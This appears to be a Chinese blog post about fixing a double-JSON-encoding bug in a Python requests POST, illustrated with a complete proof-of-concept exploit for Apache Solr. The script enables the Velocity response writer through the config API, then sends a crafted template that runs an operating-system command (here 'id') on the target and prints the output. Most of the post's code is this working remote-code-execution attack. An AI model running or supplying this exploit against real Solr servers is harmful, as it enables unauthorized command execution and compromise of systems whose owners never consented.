Python3 post 嵌套json
python3 post json
前些天python3 post出现的小问题做下记录
在调试python3 发送json 的时候总是出现服务器500的错误,找不出原因,就想到是不是我post的内容是不是不符合预期。
def upconf(url,name):
url = "192.168.30.100:8983"
name = "db"
# 设置代理
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = json.dumps(postData),proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1)
一直显示 500错误
burpsuite 抓取 python requests 数据包
在burpsuite设置的地址和端口要和python的一致。

设置代理后抓包发现,数据包是这样的
POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 246
"{\"update-queryresponsewriter\": {\"startup\": \"lazy\", \"name\": \"velocity\", \"class\": \"solr.VelocityResponseWriter\", \"template.base.dir\": \"\", \"solr.resource.loader.enabled\": \"true\", \"params.resource.loader.enabled\": \"true\"}}"
而我预期是这样的
POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 218
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
上网查了下,多了一些转义符("\"),是由于postData 已经是json格式,而不是字符串,在使用json.dumps(postData),相当于两次转换。只需要把这个去掉就行
def upconf(url,name):
url = "192.168.30.100:8983"
name = "db"
# 设置代理
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1)
完整python3的poc 如下:
import requests
import json
import sys
name = ""
# 获取core_name
def getname(url):
url = url + "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[1]
print(name)
except:
pass
return name
# 上传修改配置文件
def upconf(url,name):
proxy = '127.0.0.1:8080'
proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
url = url + "/solr/" + name + "/config"
#print(url)
headers = {'Content-Type': 'application/json'}
postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
postData = {"update-queryresponsewriter": postDataIner}
conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
if conn.status_code != 200:
print("upconf failed",conn.status_code)
sys.exit(1)
def poc():
# 目标IP
url = "http://192.168.30.100:8983"
# 命令
cmd = "id"
name = getname(url)
upconf(url,name)
url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("GET",url)
print("response:"+conn.text)
# print(url)
# print(cmd)
if __name__ == '__main__':
poc()

小结
排查问题一定要认真。还需要学习补充python post 的其他方式和区别
Python3 post 嵌套json的更多相关文章
- ASP.NET提取多层嵌套json数据的方法
本文实例讲述了ASP.NET利用第三方类库Newtonsoft.Json提取多层嵌套json数据的方法,具体例子如下. 假设需要提取的json字符串如下: {"name":&quo ...
- 详解ASP.NET提取多层嵌套json数据的方法
本篇文章主要介绍了ASP.NET提取多层嵌套json数据的方法,利用第三方类库Newtonsoft.Json提取多层嵌套json数据的方法,有兴趣的可以了解一下. 本文实例讲述了ASP.NET利用第三 ...
- 【Java_Spring】java解析多层嵌套json字符串
java解析多层嵌套json字符串
- 复杂json解析(json里面嵌套json)
调用第三方接口,返回一堆json,我只想取得里面的某一个属性,但是返回的比较复杂,无法直接拿到属性,格式类似于这样: {"video":{"id":" ...
- 复习解析嵌套json
在网络上找的一些经典的例子复习使用 一,解析嵌套json字符串,一个json字符串中嵌套另一个json字符串 { "msg": { "resCode": &qu ...
- 利用FastJson,拼接复杂嵌套json数据&&直接从json字符串中(不依赖实体类)解析出键值对
1.拼接复杂嵌套json FastJson工具包中有两主要的类: JSONObject和JSONArray ,前者表示json对象,后者表示json数组.他们两者都能添加Object类型的对象,但是J ...
- Logstash下字段以及嵌套Json字段类型转换
前言 从filebeat传输到Logstash的数据,某个字段需要由string类型装换成float类型.但是不管怎么改logstash的配置文件都不生效,其实官方文档都有,但是具体细节方面的东西就得 ...
- 【golang】json数据解析 - 嵌套json解析
@ 目录 1. 通过结构体映射解析 2. 嵌套json解析-map 1. 通过结构体映射解析 原数据结构 解析 // 结构体 type contractJson struct { Data []tra ...
- c#多层嵌套Json
Newtonsoft.Json.Net20.dll 下载请访问http://files.cnblogs.com/hualei/Newtonsoft.Json.Net20.rar 在.net 2.0中提 ...
随机推荐
- 【SQL】基础概念
1.. In order to find the rows where the value for a column is or is not NULL, you would use IS NULL ...
- 题解 【Codeforces988E】Divisibility by 25
本题是数论好题! 首先我们需要了解一个关于数论的性质: 一个数只要后两位能被25(或4)整除,这个数就能被25(或4)整除. 同理,后三位:(或8).后四位:(或16)亦是如此. 所以,我们只需要判断 ...
- C# 后台调用http,post访问url,获取数据
1.封装post方法发送 using System; using System.Collections.Generic; using System.IO; using System.Linq; usi ...
- 复制文件或目录命令 - cp
1) 命令名称:cp 2) 英文原意:copy 3) 命令所在路径:/bin/cp 4) 执行权限:所有用户 5) 功能描述:复制文件或目录 语法: cp -rp [原文件或目录][目标目录] -r ...
- OPC通信原理在数采中的应用
OPC通信原理在数采中的应用 OPC是Object Linking and Embedding(OLE)for Process Control的缩写,它是微软公司的对象链接和嵌入技术在过程控制方面的应 ...
- Java-POJ1003-Hangover
题目大意: 给出一个浮点数a,求出使得 不等式 1/2 + 1/3 + ... + 1/(n+1) ≥ a 成立的最小值 大水题,由于数据范围小,给出了确认上界5.20,满足二分答案 但是我懒啊,直接 ...
- AcWing 791. 高精度加法
https://www.acwing.com/problem/content/793/ #include<bits/stdc++.h> using namespace std; vecto ...
- 题解【洛谷P5483】[JLOI2011]小A的烦恼
我们可以灵活运用\(C++\)的语法来解决此题. 解释一下代码中会出现的语法: \(string::iterator\ it\)表示定义了一个\(string\)类型的迭代器\(it\),\(^*it ...
- Codeforces Round #620 (Div. 2)D(LIS,构造)
#define HAVE_STRUCT_TIMESPEC #include<bits/stdc++.h> using namespace std; ]; ]; int main(){ io ...
- 关于Excel,你一定用的到的36个Python函数
从Excel到Python:最常用的36个Pandas函数关于Excel,你一定用的到的36个Python函数 本文涉及pandas最常用的36个函数,通过这些函数介绍如何完成数据生成和导入.数据清洗 ...